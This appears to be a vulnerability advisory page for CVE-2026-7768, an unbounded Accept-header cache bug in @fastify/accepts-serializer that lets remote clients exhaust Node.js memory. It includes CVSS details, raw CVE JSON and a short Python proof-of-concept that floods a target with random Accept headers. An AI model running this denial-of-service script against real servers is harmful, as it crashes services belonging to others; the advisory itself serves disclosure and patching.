Security Vulnerability Report
中文
CVE-2026-7768 CVSS 7.5 HIGH

CVE-2026-7768

Published: 2026-05-04 20:16:21
Last Modified: 2026-05-07 15:11:09
Source: ce714d77-add3-4f53-aff5-83d477b104bb

Description

@fastify/accepts-serializer cached serializer-selection results keyed by the request Accept header without a size limit or eviction policy. A remote unauthenticated client could send many distinct but matching Accept header variants to make the cache grow unbounded, eventually exhausting the Node.js heap and crashing the process. Versions <= 6.0.3 are affected. Update to 6.0.4 or later, which bounds the cache via an LRU with a default size of 100 entries, configurable through the new cacheSize plugin option.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

@fastify/accepts-serializer <= 6.0.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import random import string target_url = "http://vulnerable-host:3000/" # Function to generate random Accept headers to flood the cache def generate_random_accept(): base = "application/json" # Add random parameters to make the header unique but valid params = [] for _ in range(random.randint(1, 5)): key = ''.join(random.choices(string.ascii_letters, k=4)) val = random.random() params.append(f"{key}={val}") return f"{base}; {', '.join(params)}" print("Starting DoS attack on CVE-2026-7768...") try: while True: headers = { "Accept": generate_random_accept() } # Send request to trigger caching r = requests.get(target_url, headers=headers) print(f"Sent request with Accept: {headers['Accept']}") except KeyboardInterrupt: print("Attack stopped.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-7768", "sourceIdentifier": "ce714d77-add3-4f53-aff5-83d477b104bb", "published": "2026-05-04T20:16:21.107", "lastModified": "2026-05-07T15:11:09.037", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "@fastify/accepts-serializer cached serializer-selection results keyed by the request Accept header without a size limit or eviction policy. A remote unauthenticated client could send many distinct but matching Accept header variants to make the cache grow unbounded, eventually exhausting the Node.js heap and crashing the process. Versions <= 6.0.3 are affected. Update to 6.0.4 or later, which bounds the cache via an LRU with a default size of 100 entries, configurable through the new cacheSize plugin option."}], "metrics": {"cvssMetricV31": [{"source": "ce714d77-add3-4f53-aff5-83d477b104bb", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "ce714d77-add3-4f53-aff5-83d477b104bb", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "references": [{"url": "https://cna.openjsf.org/security-advisories.html", "source": "ce714d77-add3-4f53-aff5-83d477b104bb"}, {"url": "https://github.com/fastify/fastify-accepts-serializer/security/advisories/GHSA-qxhc-wx3p-2wmg", "source": "ce714d77-add3-4f53-aff5-83d477b104bb"}]}}